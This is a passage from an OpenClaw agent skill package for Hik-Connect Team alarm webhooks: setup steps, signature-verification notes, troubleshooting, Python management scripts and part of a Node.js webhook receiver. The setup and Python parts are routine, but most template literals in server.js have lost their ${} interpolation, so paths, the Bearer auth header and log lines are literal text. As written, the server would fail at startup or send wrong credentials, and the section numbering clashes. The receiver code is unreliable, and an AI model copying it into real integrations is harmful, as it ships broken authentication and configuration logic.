**Ask the user for their Feishu open_id (or target user ID) if not already known.**
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
HIK_SIGN_SECRET="<user-provided-secret>" \
OPENCLAW_HOOKS_TOKEN="<from openclaw.json hooks.token>" \
OPENCLAW_HOOKS_URL="http://127.0.0.1:<gateway-port>/hooks/agent" \
OPENCLAW_CHANNEL="feishu" \
OPENCLAW_TO="<user's Feishu open_id>" \
PORT="3090" \
node server.js
```
### Step 3-4: Verify Service Is Running
```bash
curl http://localhost:3090/health
```
Expected: `{"status":"ok",...}`
### Step 3-5: Verify Public URL Is Reachable
```bash
curl -sL -o /dev/null -w "%{http_code}" https://<your-public-url>/hikvision/webhook
```
Expected: `200` or `302` (redirect). If `000` or timeout → tunnel/proxy is not working.
Only proceed to Phase 4 if both service health and public URL are confirmed working.
---
## ⚠️ 2.2.4 Phase 4: Register Webhook with HCT Platform
> "Now I'll register the Webhook URL with HCT. Make sure the service is running and the public URL is accessible from the internet."
```bash
cd <skill-directory>/modules/Hik-Connect_Team_Alarm/scripts
python webhook_manager.py save \
--url "https://<your-public-url>/hikvision/webhook" \
--secret "<user-provided-secret>"
```
- **Success**: Tell user "Webhook registered successfully! HCT will now push alarms to your URL."
- **Failure**: Tell user the error reason and checklist (service running? URL accessible from internet? secret correct?)
---
## ⚠️ 2.2.5 Phase 5: Event Subscription — Must Have Explicit User Confirmation
> **⚠️ MANDATORY: Only subscribe when user explicitly asks.**
> Never call `event_manager.py subscribe` without explicit user confirmation.
**Ask the user:**
> "Webhook registration successful! Now let's subscribe to alarm events. Which events do you want to subscribe to? You can find the full list in `EVENT_CODES.md`. Options:
> - 'full' — subscribe to all events
> - Or provide specific event codes (e.g. 'Msg110001,Msg110002')
>
> Which would you like?"
**Wait for the user's answer.** Only then run:
```bash
# All events:
python event_manager.py subscribe
# Specific events:
python event_manager.py subscribe --types "Msg110001,Msg110002,..."
```
**After execution:**
- **Success**: Tell the user "Event subscription complete! `{count}` event types subscribed."
- **Failure**: Tell the user "Event subscription failed: `{reason}`"
---
## 6. Signature Verification Mechanism (Security)
HCT platform and Webhook service ensure communication security through HMAC-SHA256 algorithm.
### 3.1 Verification Request (GET)
When you save Webhook configuration on platform, platform will send verification request:
* **HCT Platform Sends Header**:
* `X-Hook-Batch-Id`: Batch ID
* `X-Hook-Timestamp`: Timestamp (milliseconds)
* **Webhook Service Processing**:
* Service calculates HMAC-SHA256 signature based on configured `HIK_SIGN_SECRET`, `X-Hook-Timestamp` and `X-Hook-Batch-Id`.
* **Signature Algorithm**: `signature = HMAC-SHA256(secret, timestamp.batchId)`, result is `sha256=<hex_string>`.
* **Webhook Service Returns**: Carries `X-Hook-Signature: sha256=<calculated_signature>` in Response Header, status code `200 OK`.
### 3.2 Push Request (POST)
When alarm occurs, platform pushes data:
* **HCT Platform Sends Header**:
* `X-Hook-Signature`: Signature calculated by platform
* `X-Hook-Timestamp`: Push timestamp
* **Webhook Service Processing**:
* Service uses same `HIK_SIGN_SECRET` and `timestamp.batchId` (obtained from request Body) to calculate signature, and compares with `X-Hook-Signature` in Header.
* If signature matches and timestamp is within acceptable range, request is considered legitimate and processed further, otherwise request is rejected.
---
## 7. Script and API Parameter Details
### 4.1 Webhook Management (`webhook_manager.py`)
This script is used to manage HCT platform's Webhook configuration, including query, save and delete.
#### 4.1.1 Running Examples
* **Query Current Webhook Configuration**:
```bash
python scripts/webhook_manager.py query
```
* **Save/Subscribe Webhook Configuration**:
```bash
python scripts/webhook_manager.py save --url "https://your-public-domain.com/hikvision/webhook" --secret "YourSignSecret123" --retries 5 --delay 2000
```
* **Delete Webhook Configuration**:
```bash
python scripts/webhook_manager.py delete
```
#### 4.1.2 Request Parameters
| Parameter | Type | Required | Default | Description |
|:------------|:--------|:----------------------------|:--------|:--------------------------------------------------------------------------------------------------------|
| `command` | String | Yes | - | Operation command, options: `query`, `save`, `delete` |
| `--url` | String | Required for `save` command | - | Public HTTPS callback address, must start with `https://`, max length 256 characters. |
| `--secret` | String | Optional for `save` command | - | Signing secret, used to verify legitimacy of pushed messages. 8-32 alphanumeric combination. |
| `--retries` | Integer | Optional for `save` command | 3 | Number of retries after message push failure. Range `[-1, 5]`, -1 means unlimited retry within 2 hours. |
| `--delay` | Integer | Optional for `save` command | 1000 | Retry interval after message push failure, in milliseconds. |
#### 4.1.3 Output Field Description
| Field | Type | Description |
|:-------------------|:--------|:-------------------------------------------------------------------------------|
| `success` | Boolean | Whether operation was successful. `true` means success, `false` means failure. |
| `message` | String | Operation result or error description information. |
| `errorCode` | String | Error code, `0` means success, other values are specific error codes. |
| `data` | Object | Webhook configuration details returned on successful `query` command. |
| `data.callbackUrl` | String | Webhook callback address. |
| `data.retryTimes` | Integer | Webhook retry count. |
| `data.retryDelay` | Long | Webhook retry interval (milliseconds). |
### 4.2 Event Subscription Management (`event_manager.py`)
This script is used to subscribe, unsubscribe, or query HCT platform alarm event subscription status.
#### 4.2.1 Running Examples
* **Subscribe to Specific Event Types**:
```bash
python scripts/event_manager.py subscribe --types "Msg330001,Msg330002"
```
* **Subscribe to All Event Types**:
```bash
python scripts/event_manager.py subscribe
```
* **Unsubscribe from Specific Event Types**:
```bash
python scripts/event_manager.py unsubscribe --types "Msg330001"
```
* **Unsubscribe from All Event Types**:
```bash
python scripts/event_manager.py unsubscribe
```
* **Query Current Subscription Status**:
```bash
python scripts/event_manager.py query
```
#### 4.2.2 Request Parameters
| Parameter | Type | Required | Default | Description |
|:----------|:-------|:---------|:-----------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------|
| `command` | String | Yes | - | Operation command, options: `subscribe`, `unsubscribe`, `query` |
| `--types` | String | Optional | Empty (subscribe/unsubscribe all events) | Comma-separated event type list (e.g. `Msg330001,Msg330002`). For specific event types please refer to EVENT_CODES.md document. |
> **Important Note**: Even without Webhook configuration, you can still execute subscribe/unsubscribe/query operations. But note that without proper Webhook service configuration and registration to HCT platform, you will not receive any alarm message pushes.
#### 4.2.3 Output Field Description
**For `subscribe` and `unsubscribe` commands:**
| Field | Type | Description |
|:------------|:--------|:-------------------------------------------------------------------------------|
| `success` | Boolean | Whether operation was successful. `true` means success, `false` means failure. |
| `message` | String | Operation result or error description information. |
| `errorCode` | String | Error code, `0` means success, other values are specific error codes. |
**For `query` command:**
| Field | Type | Description |
|:-------------------------|:--------|:---------------------------------------------------------------------------|
| `success` | Boolean | Whether operation was successful. |
| `data.isSubscribe` | Boolean | Whether subscribed. `true` means subscribed, `false` means not subscribed. |
| `data.subscribeType` | Integer | Subscription type. `0`: Partial subscription, `1`: Full subscription. |
| `data.subscribeTypeText` | String | Text description of subscription type. |
| `data.events` | Array | List of event type codes user has subscribed to. |
---
## 8. Message Display Format and Agent Processing
### 5.1 Message Structure
Webhook service will format received raw JSON into readable text, and forward through OpenClaw Hooks. Below is formatted message example:
```text
📦 HCT Open Webhook Push (batchId: 1a2b3c4d...)
Alarms: 1
---
🚨 Alarm: Human Detection
Device: Small Cup
Type: alarmCategoryVideo/alarmSubCategoryPersonDetect
Time: 2026-04-16 14:20:00
Level: High
Serial Number: D72821502
```
---
## 5.2 Agent Message Processing Rules
> **⚠️ Critical: Agent Must Forward Messages Exactly As-Received**
> When the Agent receives a webhook message via OpenClaw Hooks, it must **forward the message content exactly as-is** to the notification channel.
**Required Behavior:**
- ✅ **DO**: Forward the received message content verbatim to the user
- ✅ **DO**: Send the message to the configured notification channel (Feishu/Telegram/etc.)
- ❌ **DO NOT**: Summarize, interpret, or rephrase the message
- ❌ **DO NOT**: Translate the message (e.g., from Chinese to English or vice versa)
- ❌ **DO NOT**: Add comments, analysis, or extra explanations
- ❌ **DO NOT**: Reformat or restructure the message content
**Why This Matters:**
The `server.js` service already formats the webhook payload into a human-readable format. The Agent's only job is to deliver this formatted message to the user without any further processing. Adding summaries or translations introduces noise and delays, and may strip important technical details that the user needs.
**If the Agent fails to follow these rules**, it means the instruction was not clear enough — please report this so the skill documentation can be improved.
---
## 9. Troubleshooting
| Symptom | Most Likely Cause | Fix |
|---------------------------------------------------------|-------------------------------------------------------|-----------------------------------------------------------------------------------------------|
| Webhook registration fails | server.js not running or URL not accessible | `curl http://localhost:3090/health`; verify public URL from outside |
| Registration succeeds but no alarms | Third-party service (Pipedream/Lambda) used | ❌ Cannot forward to internal OpenClaw. Use tunnel or same-server setup |
| Hooks returns 404 | basePath incorrectly included in `OPENCLAW_HOOKS_URL` | Use `http://127.0.0.1:<port>/hooks/agent` — no basePath |
| Hooks returns `[RELAY NETWORK ERROR]` | Wrong port, wrong token, or gateway down | Verify `OPENCLAW_HOOKS_URL` port matches `gateway.port`; token matches `hooks.token` |
| User gets no notification | server.js stopped, or Feishu card permission missing | Check `curl localhost:3090/health`; enable "card messages" permission in Feishu Open Platform |
| ngrok shows ERR_NGROK_4018 | Missing authtoken | Run `ngrok config add-authtoken <your-authtoken>` |
| gateway "hooks.token must not match gateway auth.token" | tokens are identical | `openssl rand -hex 24` → update hooks.token in openclaw.json → restart gateway |
**Quick verification:**
```bash
curl http://localhost:3090/health
curl -s -o /dev/null -w "%{http_code}" https://<your-url>/hikvision/webhook
curl -X POST http://127.0.0.1:<port>/hooks/agent -H "Authorization: Bearer <token>" -d '{"test":"ping"}'
```
---
## 10. File Structure
```
Hik-Connect_Team_Alarm/
├── SKILL.md # This document
├── EVENT_CODES.md # Event type reference
└── scripts/
├── pre_check.py # Phase 0: OpenClaw hooks pre-check (run FIRST)
├── server.js # Webhook receiving service
├── webhook_manager.py # Webhook configuration management
├── event_manager.py # Event subscription management
└── package.json # Node.js dependencies
```
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|------------------------------|-------------------------------------------------------------------------------------------------|
| CCF000001 | Webhook configuration failed | Webhook configuration failed. Please check the correctness of the public URL and the signature. |
---
FILE:modules/Hik-Connect_Team_Alarm/scripts/event_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Event Manager
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory")
sys.exit(1)
from token_manager import HCTOpenClient
class EventManager(HCTOpenClient):
"""Event subscription management client"""
def subscribe(self, msg_types: list = None):
"""Subscribe to events"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Subscribing to events: {msg_types if msg_types else 'All events'}")
endpoint = "/api/hccgw/rawmsg/v1/mq/subscribe"
payload = {
"subscribeType": 1,
"msgType": msg_types if msg_types else []
}
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Event subscription successful")
self.exit_with_json({"success": True, "message": "Event subscription successful"})
else:
print(f"[ERROR] Subscription failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def unsubscribe(self, msg_types: list = None):
"""Unsubscribe from events"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Unsubscribing from events: {msg_types if msg_types else 'All events'}")
endpoint = "/api/hccgw/rawmsg/v1/mq/subscribe"
payload = {
"subscribeType": 0,
"msgType": msg_types if msg_types else []
}
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Event unsubscription successful")
self.exit_with_json({"success": True, "message": "Event unsubscription successful"})
else:
print(f"[ERROR] Unsubscription failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def query(self):
"""Query current subscription status"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying current subscription status...")
endpoint = "/api/hccgw/rawmsg/v1/mq/info/subscribe"
result = self.request("GET", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
is_sub = data.get("isSubscribe", False)
sub_type = "Full subscription" if data.get("subscribeType") == 1 else "Partial subscription"
events = data.get("events", [])
print(f"[SUCCESS] Query successful: {'Subscribed' if is_sub else 'Not subscribed'} ({sub_type})")
if events:
print(f"Subscribed event list: {', '.join(events)}")
self.exit_with_json({
"success": True,
"data": {
"isSubscribe": is_sub,
"subscribeType": data.get("subscribeType"),
"subscribeTypeText": sub_type,
"events": events
}
})
else:
print(f"[ERROR] Query failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Event Subscription Management")
subparsers = parser.add_subparsers(dest="command", help="Operation command")
# Subscribe command
sub_parser = subparsers.add_parser("subscribe", help="Subscribe to events")
sub_parser.add_argument("--types", help="Comma-separated event type list (e.g. Msg330001,Msg330002), leave empty to subscribe to all")
# Unsubscribe command
unsub_parser = subparsers.add_parser("unsubscribe", help="Unsubscribe from events")
unsub_parser.add_argument("--types", help="Comma-separated event type list, leave empty to unsubscribe from all")
# Query command
subparsers.add_parser("query", help="Query current subscription status")
args = parser.parse_args()
client = EventManager()
if args.command == "subscribe":
msg_types = [t.strip() for t in args.types.split(',') if t.strip()] if args.types else []
client.subscribe(msg_types)
elif args.command == "unsubscribe":
msg_types = [t.strip() for t in args.types.split(',') if t.strip()] if args.types else []
client.unsubscribe(msg_types)
elif args.command == "query":
client.query()
else:
parser.print_help()
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Alarm/scripts/package.json
{
"name": "hikvision-webhook",
"version": "1.0.0",
"description": "HikCentral Connect OpenAPI Webhook receiver with dedup & OpenClaw relay",
"type": "module",
"scripts": {
"start": "node server.js",
"dev": "node --watch server.js"
},
"dependencies": {
"express": "^4.21.0"
}
}
FILE:modules/Hik-Connect_Team_Alarm/scripts/pre_check.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
HCT Alarm - OpenClaw Hooks Pre-Check
Checks whether OpenClaw hooks are properly configured and reachable.
Run this BEFORE any other alarm configuration steps.
"""
import sys
import os
import json
import urllib.request
import urllib.error
import argparse
from datetime import datetime
OPENCLAW_CFG = os.path.expanduser("~/.openclaw/openclaw.json")
CHECKS = []
def log(status, msg):
symbol = {"OK": "✓", "FAIL": "✗", "SKIP": "⊘", "INFO": "ℹ"}.get(status, "?")
print(f" [{status}] {msg}")
CHECKS.append({"status": status, "msg": msg})
def check_config_file():
if not os.path.exists(OPENCLAW_CFG):
log("FAIL", f"Config file not found: {OPENCLAW_CFG}")
return False
try:
with open(OPENCLAW_CFG, "r") as f:
json.load(f)
log("OK", "Config file is valid JSON")
return True
except json.JSONDecodeError as e:
log("FAIL", f"Config file is not valid JSON: {e}")
return False
def check_hooks_enabled():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
if hooks.get("enabled") is True:
log("OK", "hooks.enabled = true")
return True
log("FAIL", "hooks.enabled is not true (or hooks section missing)")
return False
def check_hooks_token():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
token = hooks.get("token", "")
if token and isinstance(token, str) and len(token) > 0:
log("OK", f"hooks.token is set ({len(token)} chars)")
return True, token
log("FAIL", "hooks.token is missing or empty")
return False, None
def check_token_not_same_as_gateway():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
gateway = config.get("gateway", {})
hooks_token = hooks.get("token", "")
gateway_token = gateway.get("auth", {}).get("token", "")
if hooks_token and gateway_token and hooks_token == gateway_token:
log("FAIL", "hooks.token must be different from gateway.auth.token")
return False
log("OK", "hooks.token differs from gateway.auth.token")
return True
def check_gateway_port():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
gateway = config.get("gateway", {})
port = gateway.get("port", "")
if port:
log("OK", f"gateway.port = {port}")
return True, port
log("FAIL", "gateway.port is not set")
return False, None
def check_hooks_reachable(hooks_token, port):
url = f"http://127.0.0.1:{port}/hooks/agent"
body = json.dumps({"source": "pre_check"}).encode("utf-8")
req = urllib.request.Request(
url,
data=body,
headers={
"Authorization": f"Bearer {hooks_token}",
"Content-Type": "application/json",
},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
data = resp.read().decode("utf-8")
log("OK", f"Hooks endpoint reachable (HTTP {code})")
return True
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
if e.code == 400 and "message required" in body.lower():
log("OK", f"Hooks endpoint reachable (HTTP 400 — endpoint alive, needs message body)")
return True
log("FAIL", f"HTTP {e.code}: {body[:100]}")
return False
except urllib.error.URLError as e:
log("FAIL", f"Cannot reach OpenClaw gateway: {e.reason}")
return False
except Exception as e:
log("FAIL", f"Unexpected error: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="OpenClaw Hooks Pre-Check for HCT Alarm")
parser.add_argument("--json", action="store_true", help="Output results as JSON")
args = parser.parse_args()
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] OpenClaw Hooks Pre-Check")
print("=" * 50)
all_passed = True
if not check_config_file():
all_passed = False
if not check_hooks_enabled():
all_passed = False
token_ok, hooks_token = check_hooks_token()
if not token_ok:
all_passed = False
if not check_token_not_same_as_gateway():
all_passed = False
port_ok, port = check_gateway_port()
if not port_ok:
all_passed = False
if token_ok and port_ok:
if not check_hooks_reachable(hooks_token, port):
all_passed = False
else:
log("SKIP", "Skipping reachability check (config not ready)")
print("=" * 50)
if all_passed:
print("[RESULT] ✓ All checks passed. OpenClaw hooks are ready.")
else:
print("[RESULT] ✗ Some checks failed. Fix the issues above before proceeding.")
if args.json:
print(json.dumps({"ok": all_passed, "checks": CHECKS}, indent=2, ensure_ascii=False))
return 0 if all_passed else 1
if __name__ == "__main__":
sys.exit(main())
FILE:modules/Hik-Connect_Team_Alarm/scripts/server.js
/**
* HikCentral Connect OpenAPI V2.15 — Webhook Receiving Service
*
* Features:
* 1. Receive HCT Open Webhook pushes (Alarms + Events)
* 2. HMAC-SHA256 signature verification (X-Hook-Signature)
* 3. Configurable window deduplication (same device, same type)
* 4. Forward to OpenClaw hooks endpoint → Notification
* 5. Extract capture URLs, Agent sends images directly
* 6. Auto-detect OpenClaw Gateway port
* 7. Startup connection check
*/
import crypto from 'crypto';
import express from 'express';
import { readFileSync, existsSync } from 'fs';
import { homedir } from 'os';
// ============ Default Values ============
// DEFAULT_WEBHOOK_PORT
const DEFAULT_WEBHOOK_PORT = 3090;
// ============ Helper: Detect OpenClaw Gateway Port ============
function detectOpenClawPort() {
const configPath = `homedir()/.openclaw/openclaw.json`;
try {
if (existsSync(configPath)) {
const content = readFileSync(configPath, 'utf-8');
// Remove comments if any (simple JSON doesn't have comments, but just in case)
const json = JSON.parse(content);
const port = json?.gateway?.port;
if (port && typeof port === 'number') {
return port;
}
}
} catch (err) {
console.error(`[FATAL] Failed to read gateway port from configPath: err.message`);
}
throw new Error(`OpenClaw gateway port not found in configPath. Please ensure gateway is configured and hooks are enabled.`);
}
// ============ Helper: Check OpenClaw Connection ============
async function checkOpenClawConnection(url, token) {
console.log(`[CHECK] Testing OpenClaw connection at url...`);
try {
const res = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
...(token ? { 'Authorization': `Bearer token` } : {}),
},
body: JSON.stringify({ test: 'ping' }),
signal: AbortSignal.timeout(5000),
});
// 400 means endpoint exists but missing required field (e.g. "message required"), indicating hooks middleware is registered
if (res.ok || res.status === 400) {
console.log(`[CHECK] ✓ OpenClaw hooks is reachable (status res.status)`);
return true;
} else {
console.error(`[CHECK] ✗ OpenClaw returned status res.status`);
return false;
}
} catch (err) {
console.error(`[CHECK] ✗ Cannot reach OpenClaw at url`);
console.error(`[CHECK] Error: err.message`);
console.error(`[CHECK] Please verify:`);
console.error(`[CHECK] 1. OpenClaw Gateway is running: openclaw gateway status`);
console.error(`[CHECK] 2. Port is correct (detected: detectOpenClawPort())`);
console.error(`[CHECK] 3. Or set OPENCLAW_HOOKS_URL environment variable`);
return false;
}
}
// ============ Configuration ============
const detectedPort = detectOpenClawPort();
const defaultOpenClawUrl = `http://127.0.0.1:detectedPort/hooks/agent`;
// Sign secret: MUST be provided via environment variable
const signSecretFromEnv = process.env.HIK_SIGN_SECRET;
if (!signSecretFromEnv) {
console.error('[FATAL] HIK_SIGN_SECRET environment variable is not set.');
console.error('[FATAL] Please set HIK_SIGN_SECRET before starting the webhook service.');
console.error('[FATAL] Example: HIK_SIGN_SECRET="your-custom-secret" node server.js');
process.exit(1);
}
const signSecret = signSecretFromEnv;
const CONFIG = {
port: parseInt(process.env.PORT || String(DEFAULT_WEBHOOK_PORT), 10),
// HCT Open Webhook Secret (signSecret specified when registering webhook)
signSecret: signSecret,
// OpenClaw hooks configuration
openclaw: {
url: process.env.OPENCLAW_HOOKS_URL || defaultOpenClawUrl,
token: process.env.OPENCLAW_HOOKS_TOKEN || '',
// Supports all OpenClaw channels: feishu, telegram, discord, slack, whatsapp, signal, etc.
channel: process.env.OPENCLAW_CHANNEL || '',
to: process.env.OPENCLAW_TO || '',
},
// Deduplication window (milliseconds), default 1 minute
dedupWindowMs: parseInt(process.env.DEDUP_WINDOW_MS || '60000', 10),
// Request timeout (HCT Open requires response within 5 seconds)
responseTimeoutMs: 4000,
};
// ============ Print Configuration ============
function printConfig() {
console.log('');
console.log('═══════════════════════════════════════════════════════════');
console.log(' CONFIGURATION SUMMARY ');
console.log('═══════════════════════════════════════════════════════════');
console.log(` Webhook Port: CONFIG.port`);
console.log(` Sign Secret: ***configured***`);
console.log(` OpenClaw URL: CONFIG.openclaw.url`);
console.log(` OpenClaw Token: 'NOT SET ⚠️'`);
console.log(` Notify Channel: CONFIG.openclaw.channel`);
console.log(` Notify Target: CONFIG.openclaw.to || 'NOT SET ⚠️'`);
console.log(` Dedup Window: CONFIG.dedupWindowMs / 1000s`);
console.log('═══════════════════════════════════════════════════════════');
if (!CONFIG.openclaw.to || !CONFIG.openclaw.channel) {
console.log('');
console.log('╔══════════════════════════════════════════════════════════╗');
console.log('║ [FATAL] Missing required configuration ║');
console.log('╠══════════════════════════════════════════════════════════╣');
if (!CONFIG.openclaw.channel) {
console.log('║ OPENCLAW_CHANNEL is not set ║');
console.log('║ Please set: export OPENCLAW_CHANNEL="feishu" ║');
}
if (!CONFIG.openclaw.to) {
console.log('║ OPENCLAW_TO is not set ║');
console.log('║ Please set: export OPENCLAW_TO="user_open_id" ║');
}
console.log('╚══════════════════════════════════════════════════════════╝');
console.log('');
console.log('Without these, notifications cannot be delivered. Exiting.');
process.exit(1);
}
console.log('');
}
// ============ Deduplication Cache ============
const dedupCache = new Map();
function dedupKey(item) {
if (item.type === 'alarm') {
const src = item.eventSource;
return `alarm:src?.sourceID || '':item.alarmMainCategory || '':item.alarmSubCategory || ''`;
}
if (item.type === 'event') {
return `event:item.basicInfo?.eventType || '':item.basicInfo?.device?.id || ''`;
}
return `item.type:item.guid || JSON.stringify(item).slice(0, 200)`;
}
function isDuplicate(key) {
const now = Date.now();
const cached = dedupCache.get(key);
if (cached && now - cached < CONFIG.dedupWindowMs) return true;
dedupCache.set(key, now);
// Periodically clean up expired cache
if (dedupCache.size > 1000) {
for (const [k, v] of dedupCache) {
if (now - v > CONFIG.dedupWindowMs) dedupCache.delete(k);
}
}
return false;
}
// ============ Signature Verification ============
function verifySignature(headers, batchId) {
if (!CONFIG.signSecret) {
console.warn('[WARN] HIK_SIGN_SECRET not set, skipping signature verification');
return true;
}
const signature = headers['x-hook-signature'] || headers['X-Hook-Signature'];
const timestamp = headers['x-hook-timestamp'];
if (!signature || !timestamp) {
console.warn('[WARN] Missing signature headers');
return false;
}
const tsDiff = Math.abs(Date.now() - parseInt(timestamp, 10));
if (tsDiff > 60 * 1000) {
console.warn(`[WARN] Timestamp drift too large: tsDiffms`);
return false;
}
const message = `timestamp.batchId`;
const mac = crypto.createHmac('sha256', CONFIG.signSecret).update(message).digest('hex');
const expected = `sha256=mac`;
if (signature !== expected) {
console.warn(`[WARN] Signature mismatch: expected=expected, got=signature`);
return false;
}
return true;
}
// ============ Format Alarm Messages ============
const LEVEL_MAP = { 1: 'High', 2: 'Medium', 3: 'Low' };
// Event code to description mapping
const EVENT_CODE_MAP = {
// Video Intercom
'Msg140001': 'Messages about video intercom events',
// On-Board Monitoring
'Msg330001': 'GPS Data Report',
'Msg330101': 'Alarm Triggered by Panic Button',
'Msg330102': 'Alarm Input',
'Msg330201': 'Forward Collision Warning',
'Msg330202': 'Headway Monitoring Warning',
'Msg330203': 'Lane Deviation Warning',
'Msg330204': 'Pedestrian Collision Warning',
'Msg330205': 'Speed Limit Warning',
'Msg330301': 'Blind Spot Warning',
'Msg330401': 'Sharp Turn',
'Msg330402': 'Sudden Brake',
'Msg330403': 'Sudden Acceleration',
'Msg330404': 'Rollover',
'Msg330405': 'Speeding',
'Msg330406': 'Collision',
'Msg330407': 'ACC ON',
'Msg330408': 'ACC OFF',
'Msg330501': 'Smoking',
'Msg330502': 'Using Mobile Phone',
'Msg330503': 'Fatigue Driving',
'Msg330504': 'Distraction',
'Msg330505': 'Seatbelt Unbuckled',
'Msg330506': 'Video Tampering',
'Msg330507': 'Yawning',
'Msg330508': 'Wearing IR Interrupted Sunglasses',
'Msg330509': 'Absence',
'Msg330510': 'Front Passenger Detection',
'Msg335000': 'Person and Vehicle Match',
'Msg335001': 'Person and Vehicle Mismatch',
// Authentication Event
'Msg110001': 'Access Granted by Card and Fingerprint',
'Msg110002': 'Access Granted by Card, Fingerprint, and PIN',
'Msg110003': 'Access Granted by Card',
'Msg110004': 'Access Granted by Card and PIN',
'Msg110005': 'Access Granted by Fingerprint',
'Msg110006': 'Access Granted by Fingerprint and PIN',
'Msg110007': 'Duress Alarm',
'Msg110008': 'Access Granted by Face and Fingerprint',
'Msg110009': 'Access Granted by Face and PIN',
'Msg110010': 'Access Granted by Face and Card',
'Msg110011': 'Access Granted by Face, PIN, and Fingerprint',
'Msg110012': 'Access Granted by Face, Card, and Fingerprint',
'Msg110013': 'Access Granted by Face',
'Msg110018': 'Access Granted via Combined Authentication Modes',
'Msg110019': 'Skin-Surface Temperature Measured',
'Msg110020': 'Password Authenticated',
'Msg110022': 'Access Granted by Bluetooth',
'Msg110023': 'Access Granted via QR Code',
'Msg110024': 'Access Granted via Keyfob',
'Msg110501': 'Verifying Card Encryption Failed',
'Msg110502': 'Max. Card Access Failed Attempts',
'Msg110505': 'Card No. Expired',
'Msg110506': 'Access Timed Out by Card and PIN',
'Msg110507': 'Access Denied - Door Remained Locked or Inactive',
'Msg110509': 'Access Denied by Card and PIN',
'Msg110510': 'Access Timed Out by Card, Fingerprint, and PIN',
'Msg110511': 'Access Denied by Card, Fingerprint, and PIN',
'Msg110512': 'Access Denied by Card and Fingerprint',
'Msg110513': 'Access Timed Out by Card and Fingerprint',
'Msg110514': 'No Access Level Assigned',
'Msg110515': 'Card No. Does Not Exist',
'Msg110516': 'Invalid Time Period',
'Msg110517': 'Fingerprint Does Not Exist',
'Msg110518': 'Access Denied by Fingerprint',
'Msg110519': 'Access Denied by Fingerprint and PIN',
'Msg110520': 'Access Timed Out by Fingerprint and PIN',
'Msg110521': 'Access Denied by Face and Fingerprint',
'Msg110522': 'Access Timed Out by Face and Fingerprint',
'Msg110523': 'Access Denied by Face and PIN',
'Msg110524': 'Access Timed Out by Face and PIN',
'Msg110525': 'Access Denied by Face and Card',
'Msg110526': 'Access Timed Out by Face and Card',
'Msg110527': 'Access Denied by Face, PIN, and Fingerprint',
'Msg110528': 'Access Timed Out by Face, PIN, and Fingerprint',
'Msg110529': 'Access Denied by Face, Card, and Fingerprint',
'Msg110530': 'Access Timed Out by Face, Card, and Fingerprint',
'Msg110531': 'Access Denied by Face',
'Msg110533': 'Live Facial Detection Failed',
'Msg110545': 'Combined Authentication Timed Out',
'Msg110546': 'Access Denied by Invalid M1 Card',
'Msg110547': 'Verifying CPU Card Encryption Failed',
'Msg110548': 'Access Denied - NFC Card Reading Disabled',
'Msg110549': 'EM Card Reading Not Enabled',
'Msg110550': 'M1 Card Reading Not Enabled',
'Msg110551': 'CPU Card Reading Disabled',
'Msg110552': 'Authentication Mode Mismatch',
'Msg110554': 'Max. Card and Password Authentication Times',
'Msg110555': 'Password Mismatches',
'Msg110556': 'Employee ID Does Not Exist',
'Msg110557': 'Access Denied: Scheduled Sleep Mode',
'Msg110559': 'Verifying Desfire Card Encryption Failed',
'Msg110560': 'Absence',
'Msg110561': 'Authentication Failed Due to Abnormal Features',
'Msg110564': 'Access Denied by Bluetooth',
'Msg110565': 'Access Denied by QR Code',
'Msg110566': 'Verifying QR Code Secret Key Failed',
'Msg110567': 'Access Denied via Keyfob'
};
function formatAlarmItem(item) {
const src = item.eventSource || {};
const dev = src.deviceInfo || {};
const time = item.timeInfo?.startTime || '';
const rule = item.alarmRule || {};
const priority = item.alarmPriority || {};
// Simplify time format
const shortTime = time;
return [
`🚨 Alarm: rule.name || item.alarmSubCategory || 'Unknown Alarm'`,
`Device: src.sourceName || dev.devName || 'Unknown Device'`,
`Type: item.alarmMainCategory/item.alarmSubCategory`,
`Time: shortTime`,
`Level: priority.levelName || LEVEL_MAP[priority.level] || 'Level ${priority.level'}`,
].filter(Boolean).join('\n');
}
function formatEventItem(item) {
const basic = item.basicInfo || {};
const dev = basic.device || {};
// Get event code and map to description
const eventCode = item.basicInfo?.msgType || '';
